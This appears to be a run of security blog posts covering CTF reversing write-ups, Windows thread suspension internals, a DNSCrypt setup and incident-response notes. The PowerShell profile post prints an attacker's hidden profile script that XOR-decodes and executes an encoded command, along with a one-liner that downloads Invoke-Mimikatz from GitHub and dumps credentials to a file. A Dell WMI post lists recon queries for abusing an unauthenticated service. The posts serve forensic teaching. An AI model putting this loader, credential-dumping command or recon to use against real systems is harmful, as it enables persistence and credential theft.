The trick here is to take advantage of the read_array1 function , to make it print the Array2 and then pass each dword read from Array2 to the check_array2 function. As we already know Array1 and Array2 are sticked to each other and each ones size is 16 bytes this means that supplying 0xA8 will make us read the first dword of the Array2 . So all we need to do is supply 0xA8 as an input , save the printed value from read_array1 function , supply 0xE0 as an input (switch) then supply the saved printed value as a input (in check_array2) , this will result in setting the first byte of the 8 bytes sized array to 1.
We have to  basically repeat the same 8 times , 0xA8 -> 0xAF and 0xE0 -> 0xE8. When done , we'll supply 0x80 as an input and the "target" function will print the flag for us.
Here's an automated python script which prints the flag :

Binary download : Here

Follow me on twitter : Here
Bye.
- Souhail

ASIS CTF Finals 2014 - Satellite Reloaded Reverse 250 Writeup

Hello,
I really enjoyed playing this CTF with Spiderz team and we ended at position 23.
This reversing challenge was for 250 points , and here's a brief write-up about it :
The binary expects a string as a command line argument and it starts in the beginning by decrypting a string stored statically at .data section. If the position of the character is an even number the character is xored by 0xD4, if it's an odd number the character is xored with 0xD5.
After decrypting , we get the following large equation :
http://pastebin.com/1sU2B1fz

As you can see, each element a[x] is actually the character of position 'x' in the string that we'll supply. Similarly to the Satellite task we're deal with the boolean satisfiability problem .
If you take a second look at the long decrypted string we've got , you'll see that each character (with the exception of a[220] which not referenced anyway) of the string is referenced exactly 3 times and it is always tested against another character which is static in the 3 cases. So to solve this we'll just rely on studying each 2 characters couples alone. 
For example to make this statement true :
(a[12] | a[20]) & ( ! a[12] | !a[20]) & (!a[12] | a[20])
a[12] must equal :  0
a [20] must equal : 1
Another example :
(!a[22] | a[150]) & (a[22] | a[150]) & (a[22] | !a[150])
In this case both a[22] and a[150] must be equal to 1 to make this statement true.
In the string shared in pastebin above you'll see that in some cases there's a double NOT (! !) , we'll just remove it as it doesn't change anything.

So to script this we don't basically need to study the SAT algorithm any longer, we can just separate this long string into 2 arrays. Each element of the 2 arrays is a logical equation (ex : "( ! a[22]  |  a[50]  )" ).
The first array will only have the elements that have a NOT ('!') on the both chars or that doesn't have any NOTs in them (ex : ( a[55] | a[60] ) and this one ( ! a[70] | ! a[95] ) )
The other array will have all the equations that have a NOT preceding either one of the chars. (ex : ( ! a[22] | a[50] ).
The reason why I did this because in the case of the first example I gave (here it is : 
(a[12] | a[20]) & ( ! a[12] | !a[20]) & (!a[12] | a[20]) ) there will be 2 occurrences of a[12] in the first array which makes it hard to decide whether it's equal to a 0 or 1 , here comes the 2nd array that I called "decide" that will decide by this equation : (!a[12] | a[20]) whether a[12] is 0 or 1 , which is 0 in this case.
So If only one instance of a given a[x] is found in the first array we can decide it's value directly , but if we have 2 instances we'll need to rely on the decide array.

Oh , I almost forgot , there's a character which isn't referenced in this string and which is a[220] . As the flag is generated based on our input, I tested the flag with this character set to 0 and 1. And it basically worked for 0.

Here's the script I wrote and described in this write-up (got us some bonus points though :D ) :

Cheers :).


Windows Thread Suspension Internals Part 1

Hi,
It's been a while since I haven't shared anything concerning Windows internals and I'm back to talk in detail about how Windows thread suspension and resumption works. I'm going to discuss the mentioned topics in this blog post and incoming ones. Even though it can be discussed in one or two entries but I'm quite busy with studies.

As you might already know Windows uses APCs (Asynchronous Procedure Calls) to perform thread suspension. This may form an incomplete image of what's going on in detail as other tasks are being performed besides queuing the suspend APC. I will share throughout this article the details about what's happening and some pseudo code snippets of the reversed routines (Windows 7 32-bit SMP).

Let's say that a usermode thread 'A' wanted to suspend a second usermode thread 'B' , it has to simply call SuspendThread with a previously opened handle to the target thread.
DWORD WINAPI SuspendThread(HANDLE hThread);
Upon the call we'll be taken to kernel32.dll then to kernelbase.dll which simply provides a supplementary argument to NtSuspendThread and calls it from ntdll.dll .
NTSTATUS NtSuspendThread(HANDLE ThreadHandle,PULONG PreviousSuspendCount );
The thread's previous suspend count is basically copied from kernel to *PreviousSuspendCount.
Ntdll then takes us to kernel land where we'll be executing NtSuspendThread.

- NtSuspendThread :
 If we came from usermode (CurrentThread->PreviousMode == UserMode), probing the PreviousSuspendCount pointer for write is crucial. Next, a pointer to the target thread object is obtained by calling ObReferenceObjectByHandle , if we succeed PsSuspendThread is called ; its return type is NTSTATUS and that is the status code returned to the caller (in PreviousMode) after calling ObDereferenceObject and storing the previous count value in the OUT (PreviousSuspendCount) argument if it's not NULL.

- PsSuspendThread :
Prototype : NTSTATUS PsSuspendThread(PETHREAD Thread,PULONG PreviousSuspendCount)
Here's a pseudo C manual decompilation of the routine code :

As you can see, PsSuspendThread starts with entering a critical region and then it tries to acquire run-down protection of the target thread to suspend , acquiring run-down protection for the thread guarantees that we can access and operate on the thread object safely without it being deleted. As you might already know a present thread object in memory doesn't mean that the thread isn't terminating or wasn't terminated simply because an object isn't deleted until all the references on that object are released (reference count reaches zero). The next check of the Terminated bit explains it , so if the thread is actually terminating or was terminated PsSuspendProcess return STATUS_THREAD_IS_TERMINATING. Let's suppose that our thread is up and running. KeSuspendThread will be called as a result and ,unlike the previous routines, will returns the previous count that we've previously spoken about. As we'll see later on KeSuspendThread raises a critical exception (by calling RtlRaiseStatus) if the thread suspend limit was exceeded (0x7F) that causes a BSOD if no exception handler is in place , so the kernel calls this function within a try-except statement. Upon returning from KeSuspendThread successfully , a recheck of the target thread is done to see if the thread was terminating while suspending , if that's true the thread is forced to resume right away by calling KeForceResumeThread (we'll see this routine in detail later when talking about thread resumption) and the previous suspend count is zeroed. Finally the executing thread leaves the critical region and dereferences the PreviousSuspendCount pointer with the value returned from KeSuspendThread or 0 in the case where KeForceResumeThread was called.

That's all for this short entry , in the next parts about thread suspension I'll talk about KeSuspendThread , the suspend semaphore and the KiSuspendThread kernel APC routine.

Follow me on twitter : Here
Thanks,

- Souhail.

Windows Thread Suspension Internals Part 2

Hi,
In the last blog post I talked about both NtSuspendThread and PsSuspendThread kernel routines. If you didn't check the first part I recommend to check it first : here
This part is dedicated to KeSuspendThread and KiSuspendThread routines (fun stuff).
Let's get started by looking a KeSuspendThread : (Windows 7 32-bit SMP as usual)
(pseudo-C) :
A quick overview of KeSuspendThread shows that it's actually the one responsible of calling KiInsertQueueApc in order to queue the target thread's suspend APC in its kernel APC queue. But that's not the only thing happening here , so take it slow and go step by step into what routine does.

As you can notice we start first by raising the irql to DISPATCH_LEVEL, this means we're running in the same irql where the thread dispatcher does so our thread is guaranteed to be running on this processor until the irql drops below DISPATCH_LEVEL. As I'm on a multiprocessor machine this doesn't protect from accessing shared objects safely as another thread executing on another processor might access the object simultaneously. That's why a couple of locks must be acquired in order to continue the execution of the routine , the first lock that KeSuspendThread tries to acquire is the APC queue lock (Thread->ApcQueueLock). After acquiring the lock, execution continues and the thread's previous suspend count is saved , then it is compared with the maximum value that a suspend count might reach (0x7F). The irql is lowered to it's old value and a fatal exception is raised with status (STATUS_SUSPEND_COUNT_EXCEEDED) if the SuspendCount is equal to that value. As I mentioned in the last part PsSuspendThread calls KeSuspendThread within a try-except statement so the machine won't bugcheck as a result of that exception.
If the target thread's suspend count is lower that 0x7F (general case), a second check is done against Thread->ApcQueuable bit to check whether APCs can be queued to that thread or no. Here I want to mention that if you patch that bit using windbg or a driver of a given thread object that thread becomes immune to suspending and even termination as it is done also using an APC.
If the bit is set (generally the case also), the target thread's suspend count is incremented. Next , the routine checks if the thread isn't suspended nor frozen.
If that's also true a third check is done :
line 29 : if(Thread->SuspendApc.Inserted == TRUE) { ....
The SuspendApc is a KAPC stucture , and the Inserted field is a boolean that represents whether the APC was inserted in the APCs queue or not.
Let's start by seeing the else statement at line 38 first and get back to this check. So basically we'll be in the else statement if (SuspendApc.Inserted == FALSE) , it will simply set the APC's Inserted boolean to TRUE and then call KiInsertQueueApc to insert the suspend APC in the target's thread kernel APCs queue. KiInsertQueueApc is internally called by the exported KeInsertQueueApc.

The check at line 29 is confusing, since if the SuspendApc.Inserted is TRUE this already means that the suspend count is different than 0 so we won't even reach this if statement.As we'll see in a later article KeResumeThread is the routine that actually decrements the SuspendCount but it doesn't proceed to do so until it acquires the ApcQueue lock , so this eliminates the fact that KeResumeThread and KeSuspendThread are operating simultaneously on the same target thread (SMP machine). If this check turns out true for a reason , we acquire a lock to safely access and modify the SuspendSemaphore initialized previously by &Thread->SuspendSemaphore and then decrement the Semaphore Count to turn it into the non-signaled state apparently.
If the SuspendApc is now queued , its kernel and normal routines (KiSuspendNop and KiSuspendThread respectively) will be executed as soon as KiDeliverApc is called in the context of the target thread.
The SuspendApc is initialized in KeInitThread  this way :
KeInitializeApc(&Thread->SuspendApc,Thread,OriginalApcEnvironment,KiSuspendNop,
xHalPrepareForBugCheck,KiSuspendThread,KernelMode,NULL);
Let's now take a look at KiSuspendThread normal APC routine :
It simply calls KeWaitForSingleObject to make the thread wait for the SuspendSemaphore to be in the signaled state.
The Suspend semaphore is also initialized in KeInitThread routine :
KeInitializeSemaphore(&Thread->SuspendSemaphore,0,2);
As you can see the count limit is set to 2 and the initial semaphore is 0. As we'll see later when talking about thread resumption : each synchronization object has a header structure defined as : _DISPATCHER_HEADER, this structure contains the synchronization object's Type (mutant , thread , semaphore ...) , Lock , SignalState fields and some other flags.
The SignalState field in a semaphore is the same as the semaphore count and the semaphore count must not exceed the limit. Semaphores ,when in signaled state (semaphore count > 0) , satisfy the wait for semaphore count threads and unsignal the semaphore. Means if 4 threads are waiting on a semaphore and it became in a signaled state with a semaphore count of 2 , 2 threads will satisfy the wait and the semaphore will become non-signaled. The next waiting thread won't get a chance to run until one of the released threads releases the semaphore , resulting in its semaphore count being incremented (signaled state). 


Let's get back to the SuspendSemaphore now. As I said earlier, it is initialized as non-signaled in the first place so when a thread is suspended it'll stay in the wait state until the semaphore becomes signaled. In fact KeResumeThread is the responsible routine for turning the semaphore into the signaled state and then calling KiSignalSynchronizationObject to unlink the wait block and signal the suspended thread (future posts).

As we discovered together what happens when suspending a thread in detail , the next blog posts will be dedicated to talking about what happens when we call ResumeThread or ZwResumeThread. Stay tuned.

Follow me on twitter : here
- Souhail

Encrypting and Viewing DNS Connections Using DNSCrypt for Windows

For a while now, I’ve been using DNSCrypt – A local DNS resolver that encrypts and forwards requests to an upstream DNS server. This is both a strong defense against man-in-the-middle attacks and a decent privacy guard on insecure networks.

I just wanted to quickly share with you how I configure it as both a DNS forwarder and logger.
You can download DNSCrypt for Windows here and either compile from source or use the pre-built dnscrypt-proxy.exe within the bin directory. I renamed the bin directory to DNSCrypt and copied it to Program Files. dnscrypt-proxy.exe is pretty straightforward and well documented.

You can either run it as a standalone executable or install it as a service. When running it in standalone mode, I execute the following:

dnscrypt-proxy.exe -R "opendns" -L "C:\PROGRA~2\DNSCrypt\dnscrypt-resolvers.csv" --plugin=C:\PROGRA~2\DNSCrypt\plugins\dnscrypt-logger.dll,C:\PROGRA~2\DNSCrypt\dns.csv

I selected the "opendns" resolver and I’m running a modified version of the logger plugin (libdcplugin_example_logging.dll) included in the plugins directory. I modified it to output a CSV file consisting of the domain name resolved, the resolution type (A, AAAA, etc.), and the UTC datetime when the resolution occurred. This allows me to easily consume the log and automate analysis of my DNS queries. You can download the modified logger plugin from my GitHub repo. Finally, you need to set your DNS IP address to 127.0.0.1.

For easily toggling the DNS IP addresses of my network adapters from localhost to being automatically assigned, I wrote this PowerShell v3 script that I keep in my profile.ps1:
Personally, I run DNSCrypt as a service. Installation is pretty simple. Just append --install to the command-line invocation from an elevated prompt:

dnscrypt-proxy.exe -R "opendns" -L "C:\PROGRA~2\DNSCrypt\dnscrypt-resolvers.csv" --plugin=C:\PROGRA~2\DNSCrypt\plugins\dnscrypt-logger.dll,C:\PROGRA~2\DNSCrypt\dns.csv --install

It will tell you that you may need to modify some registry settings. The only one I needed to add was the Plugins value to indicate the path to the desired plugin and any optional arguments. When you’re done modifying registry settings, restart the service, and you’re good to go.

Configured service settings

Once everything is up and running with my logger plugin, I can easily view every DNS resolution made. I wrote a simple PowerShell function to make viewing the DNS log mindless:
Parsed DNS log

Windows Internals - Thread resumption and synchronization objects

Hello, in the two previous blog entries I discussed how thread suspension works. I'll dedicate this post to share my research concerning thread resumption, it was crucial to explore some parts of the internal synchronization mechanisms to achieve a better understanding. As usual, the reversing was done on a Windows 7 32-bit machine.

To resume a suspended thread you normally call ResumeThread from usermode or ZwResumeThread from kernelmode, as a result you'll be landing in the NtResumeThread kernel function, it's very similar to NtSuspendThread that I already talked about in the previous posts.
This is the function's prototype :
NTSTATUS NtResumeThread(HANDLE ThreadHandle,PULONG PreviousSuspendCount)

It returns a status code and optionally a previous suspend count indicating the thread's suspend count before it was decremented, as you might already know suspending a thread x times requires resuming it x times to make it able to run again.
In order to start the thread resumption and to get the previous suspend count, NtResumeThread calls KeResumeThread which prototype is the following :
LONG KeResumeThread(PKTHREAD Thread)

KeResumeThread returns the previous suspend thread count and resumes the thread if the suspend count reached 0. Let's look more closely at this function :

First the IRQL is raised to DISPATCH_LEVEL and the target thread's ApcQueueLock is acquired, after that the previous thread count is saved. If it isn't null, the thread was in fact suspended and the routine wasn't called just by mistake on a thread in a different state. The suspend count is then decremented and checked alongside the freeze count against 0. If both of them are null, the thread must be resumed and here where it gets interesting : A thread is suspended when executing an APC that just waits on the thread's Suspend Semaphore to switch into the signaled state. This Semaphore is initially in the non-signaled state and won't switch its state until the thread has to be resumed or was forced to be resumed (KeForceResumeThread).

Like any other synchronization object (mutex,thread,timer...) a semaphore has a header structure (_DISPATCH_HEADER). Its most important fields are the type, signal state, lock and the wait list head.

The WaitListHead field is the doubly linked list head of the wait blocks (KWAIT_BLOCK) waiting for the synchronization object. Let's dump KWAIT_BLOCK structure :
- The pointers to the next and previous wait block waiting on the same synchronization object are in the LIST_ENTRY WaitListEntry field. e.i : if there are threads waiting on a synchronization object, the dispatch header's WaitListHead field points to the first block's WaitListEntry field. The object fields of the wait blocks in this list is the same, but the thread field isn't.
- The NextWaitBlock field points to the next wait block when the wait is performed using KeWaitForMultipleObjects and each object field in this list points to a different synchronization object but the thread field is the same.
- The WaitKey field is the index of the wait block in the array used by KeWaitForMultipleEvents (either the default or the supplied array : see msdn). Its type is NTSTATUS and serves to know the index of the signaled object in case WaitAny was supplied. In KeWaitForSingleEvent this field is set to 0x00 (STATUS_SUCCESS/STATUS_WAIT_0).
- WaitType : WaitAll or WaitAny when waiting for multiple objects. WaitAny by default when waiting on a single object.

Back to KeResumeThread, if the signal state field value is greater than 0, then the synchronization object is in the signaled state and the wait could be satisfied for the thread(s) waiting on that object (depends on the object though). Compared to a mutex a semaphore is able to satisfy a wait for more than one single thread, a semaphore object has a Limit field in its structure indicating the limit of those threads. In addition, a semaphore has a semaphore count which is the SignalState field ; its value can't be above the Limit. Being in the signaled state, a semaphore will satisfy the wait for semaphore count threads.
KeResumeThread turns the semaphore into the signaled state by incrementing its count and then it calls KiSignalSynchronizationObject. Here's the routine :
The WaitListHead comes into scene in this function, where it is used to walk the doubly linked list of KWAIT_BLOCK structures waiting on the synchronization object. I forgot to mention earlier that the thread object structure KTHREAD stores 4 KWAIT_BLOCK structures in an array, more than one WaitBlock is clearly used when the thread is waiting on multiple objects , the msdn documentation on KeWaitForMultipleObjects discusses that point. The WaitBlock is mainly initialized inside KeWaitForSingleObject or KeWaitForMultipleObjects and then inserted in the tail of the KWAIT_BLOCK structures waiting list of the synchronization object.
You notice from the code above that WaitBlock->WaitType is checked, let's see the type definition of the WaitType field type.

typedef enum _WAIT_TYPE {
    WaitAll,
    WaitAny
} WAIT_TYPE;

- WaitAll means that the wait isn't satisfied for the waiting thread until all the synchronization object become in the signaled state (KeWaitForMultipleObjects).
- WaitAny means that the wait is satisfied for the thread if at least one synchronization object turns into the signaled state.

Let's get back to where we stopped and treat each case alone. If the WaitType is WaitAny, an attempt to unwait the waiting thread is made by calling KiTryUnwaitThread (we'll looking into this function shortly). If the thread exited the wait state, then the synchronization object's signaled state field is decremented. If it reached 0 as a result, we stop iterating through the wait blocks linked list because the synchronization object would be in the non-signaled state.
Now let's see if the WaitType is equal to WaitAll ; In that case only a call to KiTryUnwaitThread is made.
The arguments given to KiTryUnwaitThread are quite different in the two cases. Here is the decompilation of parts that interest us of the function :
The function appears to call KiSignalThread , let's take a look at it too :
In general, KiTryUnwaitThread calls KiSignalThread if the thread is waiting and return a boolean value describing if the thread was signaled or not. In fact this boolean value is returned by KiSignalThread, this function unlinks the thread from the linked list of threads in the waiting state for the processor it was executing in before exiting the running state (WaitPrcb), then it inserts the thread into the deferred ready list and set its state to DeferredReady , after that it sets the Thread->WaitStatus to the same status code passed to KiTryUnwaitThread and then it returns TRUE. KiSignalThread does what I described previously if the Thread->WaitRegister.State == 1; KiCommitThreadWait initializes this field to 1. But if Thread->WaitRegister.State == 0 (this field is initialized to 0 by KeDelayExecutionThread), the WaitStatus is set to the status code and TRUE is returned.
The Thread->WaitStatus field is returned by KiSwapThread function which is called by KeWaitForSingleObject and KeWaitForMultipleObjects. KiSwapThread basically won't return to KiCommitThreadWait until the waiting thread exited the wait state (KiSignalThread). In our case, KiCommitThreadWait returns to KeWaitForXXXObject(s) with the WaitStatus as a return value. This WaitStatus describes the reason why the thread was awaken from its wait state. KeWaitForXXXObject(s) checks on this return value. Here's a very simplified pseudo code of what interests us:

Everything has become quite clear at this stage to explain why KiSignalSynchronizationObject supplies different arguments to KiTryUnwaitThread and also why it decrements the SignalState when the wait type is WaitAny. Let me explain :
When the wait type is WaitAny, this means that the waiting thread entered the wait state upon calling KeWaitForSingleObject or KeWaitForMultipleObject with the WaitAny wait type.Thus, KiTryUnwaitThread is called with the WaitBlock->WaitKey as the wait status. So when the awaken thread returns from KiCommitThreadWait in KeWaitForMultipleObjects the wait status won't be STATUS_KERNEL_APC and we'll bail out directly returning the index of the signaled synchronization object. In this case, the synchronization object signal state wasn't touched that's why it must be decremented after successfully unwaiting the thread.
Let's see now, if the wait type is WaitAll ; this implicates that the waiting thread waits for multiple objects to become in the signal state. That's why KiTryUnwaitThread is called with STATUS_KERNEL_APC so that KeWaitForMultipleObjects iterates again and checks the signaled state of all synchronization objects. If it turns out that they're all signaled KeWaitForMultipleObject takes care this time of decrementing or zeroing (depends on the object) the signal state of all the synchronization objects the thread was waiting on.

Let's continue the story of the suspended thread and see what happens when it's finally resumed. Now that the semaphore is signaled and therefore the thread is deferred ready thanks to KiSignalThread, it will be scheduled to run soon. When it does run it will return from KeWaitForSingleEvent with a STATUS_SUCCESS/STATUS_WAIT_0 (Status != STATUS_KERNEL_APC). We're now in the kernel APC routine after returning...

Conclusion :
While thread suspension relies on queuing a kernel APC calling WaitForSingleEvent on a suspend semaphore, thread resumption takes us more deeply into exploring synchronization objects and how the waiting threads behave differently when waiting on a single or multiple objects.

I hope you enjoyed reading this post.
Follow me on twitter : Here

Boston key party 2015 - Community College Reversing 300 Writeup

Hi,
The binary is a c++ compiled code under MIPS architecture that takes the flag as a command line argument. It uses a c++ list to store the whole flag in binary form and a class called Wires to store 3 'bits' (words in fact) in 3 different fields. In order to access those field the class has 4 different functions, one to initialize the 3 fields, and others to retrieve the value of the each one of them.
A vector of type Wires is created in order to store the flag , e.i : the previously created list is converted to that vector. The difference is that each field of the vector stores 3 'bits' now and each new field is pushed onto the back of the vector.
After setting up the vector, the binary start to somehow shuffle (check script) the bits around using a recursive function that calls itself 8196 times. Finally, the result vector is converted to a string a compared to another string in memory :
"0001101001000111110001100001101011000110010110111100010011001010100110011...etc"

Here's a C script automating the process and printing the flag :
flag : myheadmateisafredkin!

binary download : here
See you again soon.
Follow me on twitter : here

Investigating Subversive PowerShell Profiles

With PowerShell attacks on the rise, it is important that incident responders be aware of exactly how PowerShell code is executed on a victim system. Once such aspect of code execution is the PowerShell profile - a script that executes upon loading powershell.exe or powershell_ise.exe. This is a place where an attacker could possibly insert subversive code that executes every time PowerShell is started. Consider the following hypothetical scenario:

You're investigating an organization who was smart and has command-line auditing enabled on all hosts. They captured the following suspected malicious invocation of powershell.exe:

powershell.exe -WindowStyle Hidden -EncodedCommand GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA==

The PowerShell expert you are knows that base64 encoded commands provided via the –EncodedCommand parameter are Unicode encoded strings. You run the following PowerShell code to decode the command and to your surprise, find that the provided command decodes to an unintelligible string.

$EncodedCommand = 'GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA=='
$CommandBytes = [Convert]::FromBase64String($EncodedCommand)
$DecodedCommand = [Text.Encoding]::Unicode.GetString($CommandBytes)
# This will decode to an unintelligible string
$DecodedCommand

Well, time to wrap up this part of the investigation. This couldn't possibly execute. Clearly the attacker doesn’t know how to properly encode their malicious PowerShell command, right??? Or... could the attacker be hiding something we don’t know? Can PowerShell execute anything beyond what was provided at the command line? Absolutely – a profile script!

If PowerShell is not invoked with the –NoProfile switch, it will execute profile scripts in the following order:

1) AllUsersAllHosts
2) AllUsersCurrentHost
3) CurrentUserAllHosts
4) CurrentUserCurrentHost

Depending upon how PowerShell was started – normal invocation, WoW64, Integrated Scripting Environment (ISE), profile scripts can be loaded from any of the following locations:

AllUsersAllHosts
%windir%\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersAllHosts (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE)
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
AllUsersCurrentHost (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE - WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
CurrentUserAllHosts
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
CurrentUserCurrentHost (ISE)
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1

Now knowing this, you search the hard drive image for the existence of any of those files and find the following PowerShell code in %windir%\System32\WindowsPowerShell\v1.0\profile.ps1:

$CommandLine = (Get-WmiObject Win32_Process -Filter "ProcessID = $PID").CommandLine

$Base64PayloadRegex = '-(?i:enc).* (?<EncodedPayload>([A-Za-z0-9\+/])+={0,2})'

if ($CommandLine -match $Base64PayloadRegex) {
    $EncodedPayload = $Matches['EncodedPayload']

    $EncodedPayloadBytes = [Convert]::FromBase64String($EncodedPayload)

    $XorKey = 'PureEvil'
    $KeyBytes = [Text.Encoding]::ASCII.GetBytes($XorKey)

    $DecodedBytes = New-Object Byte[]($EncodedPayloadBytes.Length)

    for ($i = 0; $i -lt $EncodedPayloadBytes.Length; $i++) {
        $DecodedBytes[$i] = $EncodedPayloadBytes[$i] -bxor ($KeyBytes[($i % $KeyBytes.Length)])
    }

    $DecodedPayload = [Text.Encoding]::ASCII.GetString($DecodedBytes)

    Invoke-Expression -Command $DecodedPayload
}

Uh oh. It looks as if the attacker was relying upon an investigator overlooking the PowerShell profile. This code takes the base64 encoded argument, XOR decodes it, then executes it. Therefore, the encoded command provided at the command line indeed would have executed and it would have decoded to the following:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds | Out-File "$($Env:TEMP)\output.txt"

The moral of the story: when investigating PowerShell attacks, be sure to pull all profile scripts from an infected system.

Thanks to Oisin Grehen (@oising) for pointing me to where I could obtain the command line input of the currently running PowerShell process!

References:
1) Understanding the Six PowerShell Profiles
2) Windows PowerShell Profiles

Thoughts on Exploiting a Remote WMI Query Vulnerability

On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.


I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained within Dell.Tribbles.Agent.Plugins.SystemInfo.dll.


So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?


PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class'


What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalf and Carlos Perez:


File listing for a specific directory. e.g. C:\ or search by extension

SELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\"

SELECT * FROM CIM_DataFile WHERE Extension="xlsx"


Process listing (including command-line invocation which could possibly include credentials)

SELECT * FROM Win32_Process


List all services

SELECT * FROM Win32_Service


Account/group enumeration

SELECT * FROM Win32_Account

SELECT * FROM Win32_UserAccount

SELECT * FROM Win32_Group

SELECT * FROM Win32_LoggedOnUser


List startup programs present in the

 registry and Start Menu

SELECT * FROM Win32_StartupCommand


OS/Hardware info

SELECT * FROM Win32_BIOS

SELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc.

SELECT * FROM Win32_OperatingSystem


Hard disk enumeration

SELECT * FROM Win32_DiskDrive

SELECT * FROM Win32_DiskPartition

SELECT * FROM Win32_LogicalDisk

SELECT * FROM Win32_Volume

SELECT * FROM Win32_MountPoint


List system environment variables

SELECT * FROM Win32_Environment


List network devices and configurations

SELECT * FROM Win32_NetworkAdapter

SELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPs


List mapped shares

SELECT * FROM Win32_Share


Obviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with:


Ping sweep. This could be used to conduct basic internal scanning.

SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1"


SELECT * FROM Win32_Product


List installed patches. i.e. Determine which patches are not installed.

SELECT * FROM Win32_QuickFixEngineering


Dump event logs. e.g. dump System log. This is the most sensitive info leak I can think of.

SELECT * FROM Win32_NtLogEvent WHERE Logfile="System"



If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter!

WMI object correlation using ASSOCIATORS OF

tl;dr

While this post isn’t directly related to infosec, infosec pros who work with WMI should take note as there are some powerful queries that could be performed for both offense and defense. The point of this post is to shed some light on ASSOCIATORS OF and show how powerful connections can be made between related WMI objects.


Until recently, I found the ASSOCIATORS OF WMI query language statement to be very confusing. I understood it in theory – it links one “associated” WMI object with another. A lot of articles on the subject will use the following canonical example showing related objects to a Win32_LogicalDisk instance where its DeviceID is “C:”:

ASSOCIATORS OF {Win32_LogicalDisk.DeviceID="C:"}

This query returns an instance of a Win32_Directory, Win32_ComputerSystem, and Win32_DiskPartition. Okay. That’s great and all but where did you come up with the DeviceID property as a requirement and how can I know what classes might be associated with Win32_LogicalDisk? It’s those questions that I feel existing articles never commented on. That said, allow me to explain.

Let’s say I’m interested in finding WMI classes that might be related (i.e. associators of) to CIM_DataFile. For example, one attribute that I find lacking in CIM_DataFile is file ownership and ACL information. Let’s see if we can maybe obtain that information. First, I’ll get a CIM_DataFile instance of a file I’m interested in – C:\foo.txt

PS C:\> Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"' | Format-List *


PSComputerName        : TESTPC
Status                : OK
Name                  : c:\foo.txt
__GENUS               : 2
__CLASS               : CIM_DataFile
__SUPERCLASS          : CIM_LogicalFile
__DYNASTY             : CIM_ManagedSystemElement
__RELPATH             : CIM_DataFile.Name="c:\\foo.txt"
__PROPERTY_COUNT      : 33
__DERIVATION          : {CIM_LogicalFile, CIM_LogicalElement,
                        CIM_ManagedSystemElement}
__SERVER              : TESTPC
__NAMESPACE           : root\cimv2
__PATH                : \\TESTPC\root\cimv2:CIM_DataFile.Name="c:\\foo
                        .txt"
AccessMask            : 1179817
Archive               : True
Caption               : c:\foo.txt
Compressed            : False
CompressionMethod     :
CreationClassName     : CIM_LogicalFile
CreationDate          : 20151204080026.605819-480
CSCreationClassName   : Win32_ComputerSystem
CSName                : TESTPC
Description           : c:\foo.txt
Drive                 : c:
EightDotThreeFileName : c:\foo.txt
Encrypted             : False
EncryptionMethod      :
Extension             : txt
FileName              : foo
FileSize              : 13
FileType              : Text Document
FSCreationClassName   : Win32_FileSystem
FSName                : NTFS
Hidden                : False
InstallDate           : 20151204080026.605819-480
InUseCount            :
